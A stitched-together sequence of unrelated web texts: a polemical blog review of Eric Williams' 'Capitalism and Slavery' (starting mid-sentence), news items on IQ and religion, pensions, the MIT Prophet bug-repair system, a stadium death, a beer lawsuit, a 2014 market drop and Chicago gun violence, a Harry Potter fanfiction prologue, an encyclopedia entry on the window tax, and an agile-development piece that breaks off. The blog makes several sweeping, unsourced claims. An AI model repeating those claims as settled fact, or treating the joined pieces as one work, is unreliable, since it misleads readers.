trade. Bristol had begun as the dominant slave trading city but was forced by Liverpool’s competition into the equally slavery related sugar refining interest. The Growth of Manchester was driven by the cotton manufacturing Cotton supplied by slave labor in America’s south. Birmingham sold Guns that were traded for African slaves (1 gun for 1 slave) fueling the massive but forgotten slave catching wars that would destabilize much of the continent spreading chaos, horror and murder across Africa. Incidentally as Gerald Horne points out once Britain abolished the slave trade in 1807 the United States would take over, Brazil for example owes it’s massive black population to the energetic efforts of the american slave traders. In addition to fueling the growth of some of Britain’s most important cities. Williams points out the many sectors of the english economy whose growth was fueled by the profits of slavery and slave trade. The growth of Iron industry was fueled by the demands for chains, swords, guns used in the slave trade. Slavery Financed the growth of the commercial Insurance industry a vital element in the growth of capitalism allowing for the “management of risk” the slave Trade was a risky business with the constant threat of shipwreck, disease, and of course uprisings among the captured slaves. Each slave, a valuable piece of merchandise was insured for the voyage. The Banking industry also owed it’s growth to the massive profits generated by slavery. In fact many bankers began as slave traders. Captain on a slave ship was the first step on the ladder that lead ultimately to the Merchant-Banker as Williams points out. One famous bank that made it’s fortune off slavery is Barclays for example. The rich West Indies Planters often became bankers on their return to England. Actually they were so rich that even the King was annoyed and envious of their opulence and they quickly married into the highest ranks of the nobility. Of course even the monarchs of Europe got rich off the slave trade. In fact one major reason for the “Glorious Revolution” as Williams points out was to destroy the lucrative royal monopoly on the slave trade opening the doors to the “Free Trade in Slaves” which would fuel England’s economic growth during the 18th century. England and France fought wars over the “Asiento” the right to sell slaves to Spain’s colonies. To return to the industries fueled by slavery and the slave trade, there was shipping. Slavery contributed to a huge growth in shipbuilding and paid for the construction of the ports and docks in Liverpool Bristol, and other cities. Textile manufacturing was fueled by the need to provide clothes for the millions of slaves. Wool for example was used to clothe the slaves even though it was completely inappropriate for the tropics. The raw materials for cotton came from slavery and the finished goods were traded in Africa for more slaves. The dye industry developed to provide colorful patterns to trade for slaves. There was a whole industry that produced useless trinkets to trade for slaves. The Iron industry itself produced bars of iron which were used as currency on the coast to pay for slaves. The wealthy west indian interests funded the invention of the steam engine as Williams describes in detail. They also invested heavily in building England’s railroads the Industrial revolution was thus fueled by slavery. Cotton would drive the massive growth of industry in 19th century England. Cotton mills were the biggest factories in England and their raw material was grown by slaves in the US south, Latin America, and the supposedly “free” semi-slave labour of their Indian empire. Even England’s great philanthropists had been enriched by the slave trade. The various Churches were also involved. In America slave traders would found famous universities like Brown. Some of the most powerful politicians in England were in the west indian interests pockets. Slavery was perfectly respectable. As Williams points out it was only changing economic circumstances that forced a change in attitude although there were important geopolitical reasons as well. For example the victory of the Haitian revolution and the inability of the British to conquer the island where they suffered disastrous defeat at the hands of the former slaves who were masters of guerrilla and conventional war and beat the British, the Spanish and the French. Williams devotes the last two chapters of his book to examining the abolition of slavery. First he deals with the efforts of reformers who were backed by powerful new economic interests intent on destroying the west indian sugar monopoly. They wanted cheaper food so they could pay their workers less and so wanted to institute free trade in food. England had become the most powerful economy in the world and it was cheaper to rely on the slave labor of the United States and Latin America, as well as the cheap labor of feudal India. Free markets became the key to english economic dominance and the West Indian interest were standing in their way. The abolitionists were the tools of a new East India interest. These were the economic motives behind the abolition movement. Of course as the system of slavery was a nightmare of barbarous cruelty (again I recommend C. L. R. James who provides a full account of the horrors of slavery where a hundred different forms of torture and grisly murder became part of everyday slang) Thus it was easy to whip up a massive public relations campaign simply by describing the everyday conditions of slavery. A powerful mass movement against slavery was built up. To break the power of the west indian lobby democratic reforms were carried out to redistrict parliament. Politicians debated endlessly in parliament. However as Williams points out there was a certain unavoidable hypocrisy in all this as it was still to profitable to trade with the slave societies like the US and Latin America for Capitalism to actually break it’s ties with slavery. In fact until 1823 the english abolitionists didn’t seek to end slavery which they claimed would die out naturally. They were only trying to end the slave trade. Williams attributes the real cause of the abolition of Slavery to the resistance of the Slaves themselves. In the wake of the Haitian revolution the West Indies was rocked by waves of slave insurrections. British Guyana, Jamaica and Barbados all had nearly successful slave revolts. Upon learning of the outlawing of the slave trade in 1807 they misinterpreted it as being a Royal decree ending Slavery itself and began to refuse to work and to constantly petition the authorities. While the politicians debated back in London the Caribbean had become a powder keg and Britain was faced with the choice of either ending slavery or loosing control of their colonies altogether as France had lost control of Haiti. Finally in 1833 Slavery was abolished in the English empire although it secretly continued in India. Of course as Williams pointed out in 1942 this history of slave rebellion is constantly being suppressed just as more then 70 years later the same is equally true. This is of course no accident our present day masters want us to forget that we have the power not only to resist but to overturn their entire fragile system based on the exploitation of the many by the few. A friend in Academia tells me that research along these lines is actively discouraged. Thus we are continually forced to discover anew our history. Brilliant works like “Black Jacobins” and “Capitalism & Slavery” are suppressed forgotten and then rediscovered again and again. To conclude the wealth of the western powers like France, America, and Great Britain was based on slavery and genocide. Today this same process continues and Ironically as the UN revealed recently slavery is on the rise worldwide. Meanwhile with the end of the civil war in the United States they put an important loophole in the abolition of slavery allowing it for prisoners. Prison Labor is a massively growing sector of the american economy and just as the great fortunes of the 18th and 19th century were tied to slavery todays multinational corporations are deeply invested in the growth of the mass incarceration state. Of course it would take a whole new article to describe the companies involved big names like McDonalds and Goldman Sachs. Slavery didn’t end like they told us in school. Slavery is on the rise! Latin American workers in the US have become major new victims. There is no crime that capitalism will not commit if it creates a few percentage points of profit. Until Capitalism is abolished the world will never know an end to war, slavery, genocide, imperialism, exploitation and poverty. Sources A Special Thank You to @Zaganashikwe for suggesting I read this book. You should definitely read Eric Williams “Capitalism and Slavery” for yourself as I’ve only offered a brief outline. It is written with a delightful irony. I also recommend C. L. R. James “Black Jacobins” which does a great job of showing how slavery fueled french economic growth and unlike Williams who deliberately avoids the topic, gives a nightmarish picture of what life was like for the slaves on the sugar plantations. I’ve just begun reading Gerald Horne’s “Negro Comrades of the Crown” and I highly recommend it as well. Horne is a master at bringing suppressed history vividly to life and I’ll smile whenever I hear the year 1812 I’ll imagine angry slaves burning the white house and stealing president Madison’s silver ware. Since it is Black History Month I direct you to Abayomi Azikwe’s podcast where I have learned a great deal of black history from listening too. It was from Azikwe that I learned about Williams, James and Horne. http://www.blogtalkradio.com/panafricanjournal And Check out The Black Agenda Report which created the term “mass incarceration state” and does a great job of exposing the crimes of capitalism. http://blackagendareport.com And Check out my friend @arghshell who has a blog and a podcast that did a great expose of the US military role in Sex Trafficking another continuation of slavery http://n0p3.net Here is the third episode which describes the lives of enslaved women in the US http://n0p3.net/2015/10/01/us-military-trade-in-trafficked-persons-and-sexual-servitude-part-3/ -A psychology researcher has controversially claimed that stupidity is causally linked to how likely people are to believe in God. University of Ulster professor Richard Lynn will draw the conclusion in new research due to be published in the journal Intelligence , the Times Higher Education Supplement reports. Lynn and his two co-authors argue that average IQ is an excellent predictor of what proportion of the population are true believers, across 137 countries. They also cite surveys of the US Academy of Sciences and UK Royal Academy showing single-digit rates of religious belief among academics. That professional skeptics don't believe in a creator is perhaps not all that surprising. Lynn argues, however, that it is their intelligence that directly gives rise to the boffinated classes' non-God-bothering tendencies. He said: "Why should fewer academics believe in God than the general population? I believe it is simply a matter of the IQ. Academics have higher IQs than the general population." Lynn pointed out that most children do believe in God, but as their intelligence develops they tend to have doubts or reject religion. Similarly, as average IQ in Western societies increased through the 20th century, so did rates of atheism, he said. The researchers' claims of a direct causal link have drawn criticism from others in intelligence research, who argue their conclusions are too simplistic. London Metropolitan University's Dr David Hardman said: "It is very difficult to conduct true experiments that would explicate a causal relationship between IQ and religious belief. Nonetheless, there is evidence from other domains that higher levels of intelligence are associated with a greater ability - or perhaps willingness - to question and overturn strongly felt intuitions." -NEW DELHI: The Employees’ Provident Fund Organisation ( EPFO ) advised subscribers on Tuesday against completely withdrawing funds for petty reasons, saying such a decision would cost them social security benefits that only come with continuity.People should not treat the money like a bank deposit , the retirement fund body added.“We want to convey to all our members not to be tempted to make final withdrawals from their provident fund balances unless and until it is really necessary. They should continue to live with the fund until they retire from service, that is our primary objective,” V Ranganath , additional commissioner, central PF commissioner, Punjab and Himachal Pradesh , said.“...We are discouraging people withdrawing in full for petty reasons, because they are not only losing on their PF money, they are also losing out big time on security in their old age and pension,” he added. -MIT researchers have developed a machine-learning system that can comb through repairs to open-source computer programs and learn their general properties, in order to produce new repairs for a different set of programs. The researchers tested their system on a set of programming errors, culled from real open-source applications, that had been compiled to evaluate automatic bug-repair systems. Where those earlier systems were able to repair one or two of the bugs, the MIT system repaired between 15 and 18, depending on whether it settled on the first solution it found or was allowed to run longer. While an automatic bug-repair tool would be useful in its own right, professor of electrical engineering and computer science Martin Rinard, whose group developed the new system, believes that the work could have broader ramifications. “One of the most intriguing aspects of this research is that we’ve found that there are indeed universal properties of correct code that you can learn from one set of applications and apply to another set of applications,” Rinard says. “If you can recognize correct code, that has enormous implications across all software engineering. This is just the first application of what we hope will be a brand-new, fabulous technique.” Fan Long, a graduate student in electrical engineering and computer science at MIT, presented a paper describing the new system at the Symposium on Principles of Programming Languages last week. He and Rinard, his advisor, are co-authors. Users of open-source programs catalogue bugs they encounter on project websites, and contributors to the projects post code corrections, or “patches,” to the same sites. So Long was able to write a computer script that automatically extracted both the uncorrected code and patches for 777 errors in eight common open-source applications stored in the online repository GitHub. Feature performance As with all machine-learning systems, the crucial aspect of Long and Rinard’s design was the selection of a “feature set” that the system would analyze. The researchers concentrated on values stored in memory — either variables, which can be modified during a program’s execution, or constants, which can’t. They identified 30 prime characteristics of a given value: It might be involved in an operation, such as addition or multiplication, or a comparison, such as greater than or equal to; it might be local, meaning it occurs only within a single block of code, or global, meaning that it’s accessible to the program as a whole; it might be the variable that represents the final result of a calculation; and so on. Long and Rinard wrote a computer program that evaluated all the possible relationships between these characteristics in successive lines of code. More than 3,500 such relationships constitute their feature set. Their machine-learning algorithm then tried to determine what combination of features most consistently predicted the success of a patch. “All the features we’re trying to look at are relationships between the patch you insert and the code you are trying to patch,” Long says. “Typically, there will be good connections in the correct patches, corresponding to useful or productive program logic. And there will be bad patterns that mean disconnections in program logic or redundant program logic that are less likely to be successful.” Ranking candidates In earlier work, Long had developed an algorithm that attempts to repair program bugs by systematically modifying program code. The modified code is then subjected to a suite of tests designed to elicit the buggy behavior. This approach may find a modification that passes the tests, but it could take a prohibitively long time. Moreover, the modified code may still contain errors that the tests don’t trigger. Long and Rinard’s machine-learning system works in conjunction with this earlier algorithm, ranking proposed modifications according to the probability that they are correct before subjecting them to time-consuming tests. The researchers tested their system, which they call Prophet, on a set of 69 program errors that had cropped up in eight popular open-source programs. Of those, 19 are amenable to the type of modifications that Long’s algorithm uses; the other 50 have more complicated problems that involve logical inconsistencies across larger swaths of code. When Long and Rinard configured their system to settle for the first solution that passed the bug-eliciting tests, it was able to correctly repair 15 of the 19 errors; when they allowed it to run for 12 hours per problem, it repaired 18. Of course, that still leaves the other 50 errors in the test set untouched. In ongoing work, Long is working on a machine-learning system that will look at more coarse-grained manipulation of program values across larger stretches of code, in the hope of producing a bug-repair system that can handle more complex errors. “A revolutionary aspect of Prophet is how it leverages past successful patches to learn new ones,” says Eran Yahav, an associate professor of computer science at the Technion in Israel. “It relies on the insight that despite differences between software projects, fixes — patches — applied to projects often have commonalities that can be learned from. Using machine learning to learn from ‘big code’ holds the promise to revolutionize many programming tasks — code completion, reverse-engineering, et cetera.” -SAN DIEGO -- A member of the San Diego Chargers' game-day staff has died after falling out of the press box before the Denver Broncos played the Chargers on Monday night. Walt Daniels, 66, died at 2:30 a.m. Tuesday at Sharp Memorial Hospital, the San Diego County Medical Examiner's Office said. Daniels appeared to sustain a head injury after falling about 25 to 30 feet out of a booth that was to be used by Broncos assistant coaches, and landing on the loge level. He was administered CPR before being taken to the hospital. Workers later cleaned up a puddle of blood. The accident happened about three hours before kickoff and delayed the opening of the gates by about 40 minutes. "The San Diego Chargers' family is greatly saddened by the loss of Walt Daniels," the team said in a statement. "Walt loved the team and loved working in the press box on game days for more than 20 years. Our prayers are with his family and friends during this most difficult time." -Elizium for the Sleepless Souls Prologue: At the Gates of Silent Memory X-X-X-X-X-X -|- X-X-X-X-X-X -|- X-X-X-X-X-X The world was an inky void, the darkness only interrupted by his ragged breathing, which exhaled plumes of fog across cold lips, through the burlap sack clinging to his face. He was soaked to the bone, rainwater dripping from every inch of his skin, leeching the last remnants of heat from his body. Ten fingers clamped down upon each arm, the viselike grips dragging him deeper into the chilly depths. A door creaked open and he was unceremoniously driven into a hard wooden chair, forcing the air from his lungs. Before he could recover his senses, twin coils snaked around his wrists, binding them to the arms of the chair. "Leave us," a sugary, girlish voice ordered. Before the echo of her words died, the burlap bag was ripped from his face, bringing the world back into focus. "Good evening, Mister Potter," Dolores Umbridge greeted from the opposite side of a polished wooden table. A wide, inviting smile stretched across her flabby features. Upon her short, tightly curled hair perched a black bow. She had done away with the fluffy pink cardigan favored during her tenure at Hogwarts, and instead wore dark, formal robes more befitting of a Wizengamot member. "Dolores," replied Harry, unable to keep the vitriol from his voice. His muscles tensed against the bonds, itching to leap up and wipe the self-satisfied leer from the Head of the Department of Magical Law Enforcement. "How cold you must be, Mister Potter," she continued, acting as if they were not bitter enemies. "Please, have a cuppa." Umbridge's flabby hands wrapped around the handle of a large teapot adorned with pink floral patterns. She poured the steaming liquid into a light pink mug, before pushing it towards him. "It'd be far easier to drink this with my hands free." Umbridge let out a chuckle. "Perhaps, but it would also be far easier for you to make an attempt on my life. No, Mister Potter, I'm afraid that you'll have to make do." Harry spared the steaming mug a brief glance, before shaking his head. "Slipping something into my drink didn't work at Hogwarts. Why bother trying again?" "Suit yourself," Umbridge replied with a shrug, reaching over to slide the mug back to her side of the table, leaving faint marks on the polished surface. "Remember this moment, Mister Potter. That cup of tea is going to be the closest thing to warmth you'll see for quite a long time." From the moment of his capture, Harry had known the truth of the matter, but to hear it vocalized was more demoralizing than he would have ever admitted. "How cross you must be with me. A terrorist group to run, attacks to carry out, and yet here you are, in Azkaban. Tell me…what madness drove you back to the Ministry? As corrupt and immoral as you are, you possess a certain degree of cunning. One would have assumed that one spectacular failure would be enough." Despite his best effort, Harry's teeth ground together. As bad as things had seemed on that night two years ago when he took five of his closest friends with him on the wings of thestrals to rescue Sirius from the Department of Mysteries, it had been a mere prelude to the horrors to come. In the space of an hour, both Dumbledore and Sirius were dead, half of the Order of the Phoenix had been arrested, and he was a fugitive, the most wanted person in Wizarding Britain. "Every potential success has risk attached to it," Harry replied, keeping his voice level. "You know, if I were you, I'd be more interested in why I bothered to take that risk in the first place." A slight flush rose in her jowls, her small eyes narrowing. "We plan on winning this war, Potter. Whether you planned on destroying the Ministry of Magic itself, or seizing an experimental weapon from the Department of Mysteries, the end result is the same: you failed." Bile built up in the back of Harry's throat. Half of the Order had been against his plan, but he had nonetheless pushed on. The war was at an impasse, with the key players for both the Ministry and the Death Eaters hidden from sight. Someone had to break the stalemate. "Whatever the case may be," Umbridge continued, "the Order of the Phoenix has lost its leader. Without proper leadership, how long do you think it will take for the remnants to unravel?" Loathe as he was to admit it, not long. There was no fiercer opponent in the field than Mad-Eye Moody, but he could not relate to non-combatants, the same of which could also be said of Minerva McGonagall. "It's hard to say," Harry conceded. "Maybe long enough for the Ministry and the Death Eaters to take each other out first." Umbridge let out a light chuckle. "I think not, Mister Potter. The ranks of the Death Eaters thin with each passing day." "And even more flock to Voldemort's call," Harry objected, leaning forward as much as his bonds would allow. "More and more wizards are concluding that bending a knee to Voldemort is kinder than living beneath the Ministry's yoke." "That's preposterous-" "And they have a point," he spat, cutting her off mid-sputter. "I thought it was bad when you first arrested Stan Shunpike, but that was just a taste of things to come." "Stan Shunpike was tried and convicted of conspiring with the Death Eaters. Do you know what percentage of the wizarding population travels on the Knight Bus, Potter?" Harry let out a derisive snort. "If brains were Floo Powder, Shunpike wouldn't have enough to travel across the room. Voldemort would have no interest in someone that soft headed. You had to know that." "What I know is that Stan Shunpike, to openly boast of Death Eater plans, was at the very least a Death Eater sympathizer. To support Voldemort is no better than serving him." Harry chose not to retort. An appeal to reason had no affect upon Dolores Umbridge. Whatever policy the Ministry held, she adopted her thinking to coincide with their creed. "High treason, Potter. That is what your group of vigilantes is guilty of, a crime equal to that of the atrocities Voldemort has wrought." "You've lost all sense of perspective, haven't you?" Umbridge's lips thinned at his question. "No, Mister Potter, it is you who are delusional. The Aurors and the Hit-Wizards had their hands full fighting against the Death Eaters, having to spend time and resources defending against your Order's attacks are an intractable offense." "They won't give up, you know," stated Harry. "Even with me gone, they'll fight against you every step of the way." "Oh, I have no illusions of that, Mister Potter. That's why you're going to help the Ministry stop them." Harry favored the older woman with an incredulous glare. Him, help the Ministry? There was a better chance of him besting Hagrid in an arm-wrestling match. "You must have me confused with someone else." "Would it be correct to assume that you haven't been reading the Daily Prophet as of late?" Umbridge asked, ignoring his comment. "I have no interest in what that rag has to say." "Tsk, tsk," she scolded, shaking her head. "It pays to be informed of current affairs. Had you bothered, you would have heard about the new edict upon the floor of the Wizengamot, which goes to vote next week. The Daily Prophet has been quite vocal in their support of this new measure, as the editorial section can attest to." Alarms were blaring in his head. No, it couldn't be… "As of next week, all enemies of the state will be under a 'kill on sight' order. A distinction your precious Order more than qualifies for, I'm afraid." "It will never pass," Harry spat, straining against his bonds. "Oh, I assure you, Mister Potter, the voting process is a mere formality. The support for it is universal." Harry leaned against the back of the chair, gob smacked by the news. Order members, supporters, business partners…all of them could to detained and killed without proof, without due process. Even the shadow of suspicion would be enough to condemn them. "So Mister Potter," continued Umbridge, gloating at his mental anguish. "How much do you value your followers? Are you content to let them throw away their lives on poorly conceived ploys? To let them be cut down in the street like cattle? Or…do you want to help your friends?" His eyes hardened at her words. As much as it stung, if the edict passed, half of the Order and its supporters would be wiped out before they could fall back to Grimmauld Place. Harry remained silent, deep in thought. Umbridge took his lack of reply as an invitation to continue. "All you have to do is give us the location of the Order's headquarters. We know that you are utilizing an illegal Fidelius Charm to cloak your hideout. Break the charm, and we'll use Stun Gas to overtake the hideout. No blood needs to be spilt." "I have no intentions of trusting the word of the Ministry," Harry spat, anger beginning to cloud his vision. "Even if you hold up your end of the bargain, would the Ministry really allow former members of the Order of the Phoenix to wander free about the country? That doesn't fit into your 'total control' motif. What would happen when they got out of Azkaban? Would the ship back sink? Would they be run over by the Knight Bus? Would they mysteriously contract Dragon Pox?" Umbridge's mouth thinned to a frown. "Mister Potter, I assure you-" "No, forget it. I won't sell them out. Not for myself, and not for you." The older woman let out a sigh of displeasure. "I feared as much," she said, before rising to her feet. "Though I thought perhaps you might be smarter. Perhaps a few months here in Azkaban will sway your opinion, allow to you see more clearly." "I doubt it." A predatory smile stretched across Umbridge's face, as if she had just won some great victory. "Time shall tell, Mister Potter. We can be very….persuasive. Nonetheless, you'll have plenty of time to consider my offer." With a sudden sweep of her arm, she swept the teapot onto the floor. It shattered into a hundred pieces, spraying tea and miniature shards of pink masonry across the floor. No sooner had the teapot exploded, the door flew open, admitting the two silent guards that had escorted him in, wands drawn. "Mister Potter wasn't interesting in warming himself up with tea. Please show him to our coldest room, if you would be so kind." As they stuffed the burlap bag over his head, Harry wondered if perhaps breaking into the Ministry of Magic was a bad idea. "He who dares, wins," he said to himself, before darkness claimed him. X-X-X-X-X-X -|- X-X-X-X-X-X -|- X-X-X-X-X-X Author Notes: This story will be eight chapters long, including the prologue and epilogue. As opposed to the epic-length chapters I usually produce, the chapters in this story will a far shorter, in the 3-6k word range. Chapter one should be up in a week or so. Thanks to T3t, PrincessCupcake and SenseandCommon for the beta assistance. Thanks to Master Slytherin, scaryisntit and vikingsfn for the additional guidance. Thanks for reading. -A San Diego man is suing MillerCoors, claiming the company's Blue Moon beer isn't a true craft beer. NBC 7's Matt Rascon has the exclusive interview with the man behind the lawsuit. (Published Sunday, May 3, 2015) A San Diego man is suing MillerCoors, claiming the company’s Blue Moon beer is not truly a craft beer. Evan Parent claims MillerCoors deceived him by advertising their product, Blue Moon, as a craft beer produced in a small brewery when in actuality the product is made in large plants, according to the lawsuit. The product is marketed as “artfully crafted,” but, Parents says, the product does not qualify as a craft brewery product. “What this case is really about is people think they're buying craft beer and they're actually buying crafty marketing,” Parent's lawyer Jim Treglio told NBC7. In the lawsuit, Parent says that despite the fact that MillerCoors has been brewing the beer for the past 20 years, “Defendant [MillerCoors] goes to great lengths to disassociate Blue Moon beer from the MillerCoors name. MillerCoors does not appear anywhere on the Blue Moon bottle,” the lawsuit claims. By misleading the people who buy the beer, the lawsuit claims, they are able to charge up to 50 percent more for the product. Parent said he cares about it because he is a beer aficionado and home brewer. “It matters to me because I'm a craft brew fan...I take care in where I spend my money,” Parent said. After learning the way the beer was made and marketed in 2012, he stopped purchasing the beer. “When someone's deceiving me into giving them my money for the wrong reasons that's upsetting,” Parent told NBC7. The class-action suit was filed in San Diego Superior Court. A spokesperson for MillerCoors company says the lawsuit lacks merit. -Fear is spreading in the stock market. A monthlong drop in U.S. stocks intensified in afternoon trading Wednesday, sending the Dow Jones industrial average down more than 450 points and putting the index on track for its biggest loss in more than a year. The decline came as investor fears of a global economic slowdown deepened after several weeks of turbulent market action. Worrisome economic news in the U.S. also fueled Wednesday's selling. Traders dumped risky assets and parked their money in investments seen as relatively safe, such as U.S. government bonds. That pushed the yield on the 10-year Treasury note briefly below 2 percent, the lowest level in more than a year. "It's a function of the U.S. being the best house in a bad neighborhood," said Terry Sandven, chief equity strategist at U.S. Bank Wealth Management. "There's still uncertainty about economic growth, primarily on a global basis." Stocks plunged at the open of trading and extended a rough October for the market. The Dow was down 299 points, or 1.8 percent, to 16,016 as of 3:17 p.m. Eastern time. It dropped as much as 460 points earlier and was headed for its biggest percentage drop since June 2013. The Standard & Poor's 500 index fell 31 points, or 1.7 percent, to 1,846. The Nasdaq composite dropped 52 points, or 1.2 percent, to 4,176. All three indexes are now down for the year. Until late September, the market had moved higher for most of 2014 as U.S. corporate earnings kept up record growth and the economy strengthened. Stocks, though, have been declining for nearly a month as investors have grown increasingly nervous about slowing global growth. While the U.S. economy remains healthy, investors are concerned that earnings growth will fade this year and next because of the slowdown in Europe and, to a lesser degree, China. Wednesday's slide brings the stock market closer to a correction. That happens when a benchmark index like the S&P 500 falls 10 percent or more from a recent peak. The S&P 500 hit its most recent peak of 2,011.36 on Sept. 18. It would have to close at 1,810.22 to mark a correction. The last time that happened was October 2011. The correction threshold for the Dow is 15,551. The Nasdaq's is 4,138. The Nasdaq traded below that threshold on Wednesday and could match the widely accepted definition of being in a correction if it closes below that point. Parts of the market are already in correction, which has some analysts calling for caution. Small-company stocks, as measured by the Russell 2000 index, have fallen 12.8 percent since hitting a peak in July and are down 9.5 percent for the year. Many market watchers say occasional corrections are a healthy phenomenon over the long term and give investors an opportunity to add to their holdings at a lower cost. "That's why it' so important to stay invested at a time like this, rather than think it's a time to get out," said Kate Warne, an investment strategist at Edward Jones. Bond prices soared Wednesday as investors shifted money into safe-haven investments. Early on, the yield on the 10-year Treasury note plunged to 1.91 percent from 2.20 percent the day before, or 29 basis points, a huge move. It recovered to 2.06 percent in afternoon trading. Bond yields fall when their prices rise. "It typically takes weeks for 10-year Treasurys to move 29 basis points," noted Tom Di Galoma, head of fixed income rates in New York at ED&F Man Capital. "Today it moved 29 basis points in 5 minutes." Investors got discouraging U.S. economic news early Wednesday, when the Commerce Department reported that retail sales declined 0.3 percent in September from the previous month. Purchases of autos, gasoline, furniture and clothing slowed. Retail sales have risen 4.3 percent over the past 12 months, slightly below their historical pace. A snapshot of manufacturing activity didn't bolster optimism. The Federal Reserve Bank of New York's Empire State Manufacturing index dropped sharply from 27.5 to 6.2 in October as new orders shrank and shipments barely rose. The latest reading marks the slowest pace of growth in six months. All 10 sectors in the S&P 500 declined, led by financial stocks, which slid 3.3 percent. KeyCorp, Hudson City Bancorp, Lincoln National and Citigroup were among the biggest decliners. Covidien led the slide among S&P 500 companies, falling $7.89, or 8.5 percent, to $84.46. Bucking the trend were several energy and oil services companies, including Cabot Oil & Gas, Southwest Energy and Helmerich & Payne. Southwestern paced the gainers, rising $2.02, or 6.1 percent, to $35.12. Homebuilders surged, getting a lift from the slide in the 10-year Treasury bond yield, which affects rate on consumer and business loans. A decline in the 10-year Treasury note yield should nudge mortgage rates lower, spurring home sales. M/I Homes got the biggest boost among the builders, adding 77 cents, or 4 percent, to $19.99. As more companies report earnings over the next couple of weeks, investors should get a better read of the impact that the economic situation overseas will have on U.S. companies. In overseas market action, traders worried that Europe might relapse into recession. France's CAC 40 sank 3.6 percent and Germany's DAX lost 2.9 percent. Britain's FTSE 100 fell 2.8 percent. Greece's stock index plunged 6.3 percent on concerns that the Greek government could collapse next year, putting its bailout program in danger. The index fell 5.7 percent the previous day. U.S. crude slipped 23 cents to $81.61 a barrel. In metals trading, gold rose $10.50 to $1,244.80 an ounce, silver rose six cents to $17.46 an ounce and copper fell eight cents to $3.01 a pound. -For "Windows tax", a term for the cost of Microsoft Windows preinstalled on a computer, see Bundling of Microsoft Windows The window tax was a property tax based on the number of windows in a house. It was a significant social, cultural, and architectural force in England, France, Ireland and Scotland during the 18th and 19th centuries. To avoid the tax some houses from the period can be seen to have bricked-up window-spaces (ready to be glazed or reglazed at a later date). In England and Wales it was introduced in 1696 and was repealed in 1851, 156 years after first being introduced. France (established 1798, repealed 1926) and Scotland both had window taxes for similar reasons. Details [ edit ] The tax was introduced in England and Wales in 1696 under King William III and was designed to impose tax relative to the prosperity of the taxpayer, but without the controversy that then surrounded the idea of income tax.[1][2] At that time, many people in Britain opposed income tax, on principle, because the disclosure of personal income represented an unacceptable governmental intrusion into private matters, and a potential threat to personal liberty.[3] In fact the first permanent British income tax was not introduced until 1842, and the issue remained intensely controversial well into the 20th century.[4] When the window tax was introduced, it consisted of two parts: a flat-rate house tax of 2 shillings per house (equivalent to £13.63 in 2018),[5] and a variable tax for the number of windows above ten windows in the house. Properties with between ten and twenty windows paid an extra four shillings (equivalent to £27.26 in 2018),[5] and those above twenty windows paid an extra eight shillings (equivalent to £54.52 in 2018).[5] In 1709 with the union of England and Scotland, taxes were harmonised and a new top rate of 20s total was introduced for houses with 30 or more windows. In 1747 the 2s flat rate was detached from the window tax as a tax in its own right and the way the window tax was calculated was altered. 6d was charged for each window in a house with 10–14, 9d for each window in a house with 15–19, 1s for every window in a house with 20 or more. In 1758 the flat rate charge was increased to 3s. The number of windows that incurred tax was changed to seven in 1766 and eight in 1825.[6] A house in Portland Street, Southampton , with bricked-up spaces in place of windows The flat-rate tax was changed to a variable rate, dependent on the property value, in 1778. People who were exempt from paying church or poor rates, for reasons of poverty, were exempt from the window tax.[7] Window tax was relatively unintrusive and easy to assess. Manchester Royal Infirmary had to pay a tax of 1/9d per window on the windows of the rooms occupied by staff of the infirmary in 1841—a total of £1 9/9d.[8] Certain rooms, particularly dairies, cheeserooms and milkhouses, were exempt providing they were clearly labelled, and it is not uncommon to find the name of such rooms carved on the lintel. The bigger the house, the more windows it was likely to have, and the more tax the occupants would pay. Nevertheless, the tax was unpopular, because it was seen by some as a tax on "light and air".[9] In Scotland, a window tax was imposed after 1748. A house had to have at least seven windows or a rent of at least £5 to be taxed.[10] A similar tax also existed in France from 1798 to 1926. There was a strong agitation in England in favour of the abolition of the tax during the winter of 1850–51, and it was accordingly repealed on 24 July 1851, and a tax on inhabited houses substituted.[11] The Scottish window tax was also abolished at the same time. See also [ edit ] References [ edit ] -Chicago faces an epidemic of gun violence. This year alone, more than 2,100 people have been shot, more than 400 killed. The Fourth of July weekend was especially violent. Around 100 people were shot in just over four days. Adriana Diaz gained unique access to some of Chicago's toughest neighborhoods and crews that weekend for "CBSN: On Assignment." Watch this episode of "CBSN: On Assignment" on Monday, Aug. 7, at 10 p.m. ET/PT on CBS Chicago police have already seized more than 5,000 guns from the streets this year. Young men on the city's South and West Sides told CBS News how easy it is to get illegal guns, and why many never leave their homes without one. "I know people who can't walk from they house to the store without a gun," said Aaron Murph. "Because people getting killed left and right. It's sad." "I got shot twice and I could have been gone but I'm still here so, that scar, that's with me, so," said Tyshaun Grant. "It's hell on earth." Tyshaun Grant's scar from a gun wound. CBS News The problem we heard – and saw – over and over again, was guns. CBS News gained access to several crews on Chicago's South Side. The MAC-10 is a semi-automatic weapon originally designed for military use. It is illegal in Chicago. Asked why anyone would need a gun with that much firepower, one man said, "Protection. It dangerous out here." One South Side crew affiliated with the Titanic Stones told CBS News they actually hate guns. They obstructed their faces to conceal their identities on camera. "I'm just doin' this s*** for survival, bro, until I can pull my family and myself in a better predicament to what I need to do," one member said. "We just trying to keep ourselves protected." Many crews told us they would rather risk the police catching them with a gun than have their rival find them without one. CBS News Asked where he got his .40-caliber gun, he said, "Off the streets, people sell 'em." "Just like that, that's how easy it is," another man said. "It's worth it for you to keep these guns?" Diaz asked. "We felons. You know what I'm saying? Ain't nobody gonna give us no jobs. The cops don't give a f*** about us." But when asked if innocent people dying by those bullets is worth it, they both said, "No." "At the end of the day, it ain't worth it. But you got 'em motherf*****s wanna go through a drive by, you know what I'm saying? And some innocent, little sister get shot. Guess what? Them and them guys coming back in. That's how the confrontation is going to keep going." "So why not just put the guns down?" Diaz asked. "Put the guns down? Probably would happen. Maybe in the near future. No time right now. I don't want to put my gun down. Nine times out of ten the innocent ones get hurt, you know what I'm saying? If they come do a shooting right now we probably won't even get shot. And we got guns. You might get shot. That's how f****** up it is, you know? But it's survive or be killed." -A bunch of developers published the ' agile manifesto ' in 2001 after they got fed up with the many software projects that hadn't worked. They thought that these projects were too complicated and too slow, in other words, they weren't sufficient enough. The developers had to do many unnecessary things. The system was inflexible and couldn't cope with changes. It was difficult to plan projects which eventually weren't accomplished on time. The participants were always stressed. And then the agile design process was born. The aim of the agile design process The projects were previously organized in a linear way. The first step was to analyze the problem and write a specification. The next phase was the design and development planning process. Softwares were programmed based on the plans. Then they were tested. Most of the time testing included only functional testing. Softwares were checked in order to determine whether they functioned perfectly. The main problem was that this process took too long and there were only experts who oversaw the product. The users and the business side did not. Any problem occurring during the long development process was noticed only at the 